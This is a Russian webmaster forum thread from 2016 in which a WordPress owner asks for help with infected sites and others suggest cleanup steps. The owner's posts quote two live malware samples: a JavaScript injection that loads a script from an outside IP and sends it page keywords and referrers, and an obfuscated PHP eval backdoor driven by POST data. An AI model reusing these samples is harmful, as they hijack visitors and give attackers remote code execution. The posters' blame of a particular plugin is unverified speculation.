Форум Сайтостроение Безопасность

Вредоносный код в head

12
K
На сайте с 15.08.2010
Offline
43
karabucha
2594

Всем привет, на трех сайтах WordPress перед тегом </head>

вставляется вредоносный скрипт вида:

<script>var a='';setTimeout(10);if(document.referrer.indexOf(location.protocol+"//"+location.host)!==0||document.referrer!==undefined||document.referrer!==''||document.referrer!==null){document.write('<script type="text/javascript" src="http://194.44.111.161/js/jquery.min.php?c_utt=I92930&c_utm='+encodeURIComponent('http://194.44.111.161/js/jquery.min.php'+'?'+'default_keyword='+encodeURIComponent(((k=(function(){var keywords='';var metas=document.getElementsByTagName('meta');if(metas){for(var x=0,y=metas.length;x<y;x++){if(metas[x].name.toLowerCase()=="keywords"){keywords+=metas[x].content;}}}return keywords!==''?keywords:null;})())==null?(v=window.location.search.match(/utm_term=([^&]+)/))==null?(t=document.title)==null?'':t:v[1]:k))+'&se_referrer='+encodeURIComponent(document.referrer)+'&source='+encodeURIComponent(window.location.host))+'"><'+'/script>');}</script>

Подскажите пожалуйста, как убрать эту уязвимость

---------- Добавлено 22.04.2016 в 19:14 ----------

так же в некоторые файлы в самом верху вставляется код типа:

<?php $eoap5 ="e_rpotsu";$ljgw86 = $eoap5[6].$eoap5[5]. $eoap5[2]. $eoap5[5].$eoap5[4]. $eoap5[7]. $eoap5[3].$eoap5[3].$eoap5[0]. $eoap5[2]; $wwbh86 =$ljgw86( $eoap5[1].$eoap5[3].$eoap5[4]. $eoap5[6]. $eoap5[5] );if( isset(${ $wwbh86 } ['q3c60b2' ])) {eval( ${$wwbh86} ['q3c60b2']) ; }?>

как исправить проблему?

AH
На сайте с 18.03.2006
Offline
204
Art-Host
#1

чтобы устранить эту проблему, нужно все файлы сканировать, так как в вашем движке есть код, который позволяет выполнять PHP на сервере. Для этого используют функцию PHP eval(); в которую вставляют строковую переменную с PHP кодом через запросы GET или POST

Чтобы проблемы не было, нужно удалить все и установить движок с официального сайта, а не скачанный с неизвестно какого сайта

В .htaccess можно прописать php_value register_globals Off , это может помочь, но гарантии нет, так как что у Вас там, мне не известно.

Цены на регистрацию доменов ( https://1reg.online/domains.price ).
Muhal4
На сайте с 01.07.2008
Offline
79
Muhal4
#2

Дайте версию движка и список установленных плагинов. Вероятно где-то есть дыра через которую вам шелл залили. Чтоб убрать его теперь надо переустановить чистую версию ВП и выключить дырявый плагин

LinkBoss.net - Трастовые ссылки для увеличения трафика в 10 раз! (http://linkboss.net/)
K
На сайте с 15.08.2010
Offline
43
karabucha
#3
Muhal4:
Дайте версию движка и список установленных плагинов. Вероятно где-то есть дыра через которую вам шелл залили. Чтоб убрать его теперь надо переустановить чистую версию ВП и выключить дырявый плагин

Версия WP 4.4.2 установлены плагины:

akismet

all-in-one-seo-pack

captcha

contact-form-7

exploit-scanner

google-sitemap-generator

remove-category-url

wp-google-maps

wp-page-numbers

wp-sitemap-page

Rebz
На сайте с 27.01.2009
Offline
58
Rebz
#4

Надо смотреть исходники шаблона.

Если у вас есть бекап файлов до заражения, сравните с текущими файлами.

rebz.net - Профессиональный аудит безопасности сайтов (http://rebz.net) (ОТЗЫВЫ (http://forum.antichat.net/threadnav153966-1-10.html)) Мы надежно защитим Ваш бизнес в интернете.
Mutabors
На сайте с 17.09.2012
Offline
127
Mutabors
#5

Увы удаление этого скрипта Вам ничего не даст.

Всегда на сайт загружается множество разного врдоносного кода и его весь нужно найти и удалить.

Кстати зачем Вам три дублирующих друг друга плагина?

Самый продвинутый и надежный SSD хостинг рунета с изоляцией сайтов по 115 руб! (http://beget.ru/?id=332651) Контекстная реклама и продажи. Конкурентные и серые темы. Дорого! Не трать время на рутину! Ее сделают за копейки! (http://www.work-zilla.com?ref=143498)
SeVlad
На сайте с 03.11.2008
Offline
1609
SeVlad
#6
Muhal4:
Дайте версию движка и список установленных плагинов.

И чё, помогло? 🍿

karabucha:
как исправить проблему?

В разделе закрепленный топик. В нём первых пары страниц хватит, что бы понять причину (а это с вероятностью 99% - п1 :) ) и избавиться от гадости.

Делаю хорошие сайты хорошим людям. Предпочтение коммерческим направлениям. Связь со мной через http://wp.me/P3YHjQ-3.
Muhal4
На сайте с 01.07.2008
Offline
79
Muhal4
#7
karabucha:
all-in-one-seo-pack

Ищите ноги вот отсюда в первую очередь. Это один из самых дырявых плагинов для Вордпреса.

---------- Добавлено 27.04.2016 в 11:08 ----------

SeVlad:
И чё, помогло?

Да, СЕо плагин, как я и думал. Самый дырявый и постоянно латаемый плагин. Толку от которого, по сути ноль. Гораздо лучше вручную все делать.

---------- Добавлено 27.04.2016 в 11:09 ----------

Mutabors, К сожалению да, тут только полная перегрузка свежих файлов. так как код может быть вшит в яваскрипты где его фиг определишь. В том же минимизированном jquery

SeVlad
На сайте с 03.11.2008
Offline
1609
SeVlad
#8
Muhal4:
Это один из самых дырявых плагинов для Вордпреса.

Да ну? И установленную у ТС версию знаешь? 🍿

А покажешь, хоть один реальный взлом через этот плаг? (Я правда не в курсе - я их не юзаю)

Mutabors
На сайте с 17.09.2012
Offline
127
Mutabors
#9
Muhal4:
Ищите ноги вот отсюда в первую очередь. Это один из самых дырявых плагинов для Вордпреса.

Не нужно наговаривать!

Отличный плагин, критических уязвимостей в нем давно уже не было, да и были ли вообще на вскидку не помню. А не критических не было с 2014-го года.

---------- Добавлено 27.04.2016 в 15:02 ----------

Muhal4:
Да, СЕо плагин, как я и думал. Самый дырявый и постоянно латаемый плагин. Толку от которого, по сути ноль. Гораздо лучше вручную все делать.

Думать можно многое! Но тут мыслей мало, тут факты нужны.

1. Плагин не постоянно латается, а активно развивается и совершенствуется ибо является самым популярным плагином по SEO имеет сотни тысяч установок и входит в том самых часто используемых плагинов для вордпресса.

2. А в ручную это позвольте спросить как? Нету в вордпрессе возможности из коробки редактировать метаданные у каждого поста или вручную это свое написать? Так лучше оно самописное не будет точно!

D
На сайте с 13.05.2016
Offline
0
Dayana
#10

У меня Wordpress. Я обнаружила, что вредоносный код распространяет плагин All In One SEO Pack. Удалила код руками. Но через несколько дней он появился снова! Отключить плагин не могу - благодаря ему у меня грамотно прописаны все сео-теги. Подскажите, пожалуйста, как прописать эти теги в Wordpress без плагина? Или можно как-то исправить All In One SEO Pack?

12

Авторизуйтесь или зарегистрируйтесь, чтобы оставить комментарий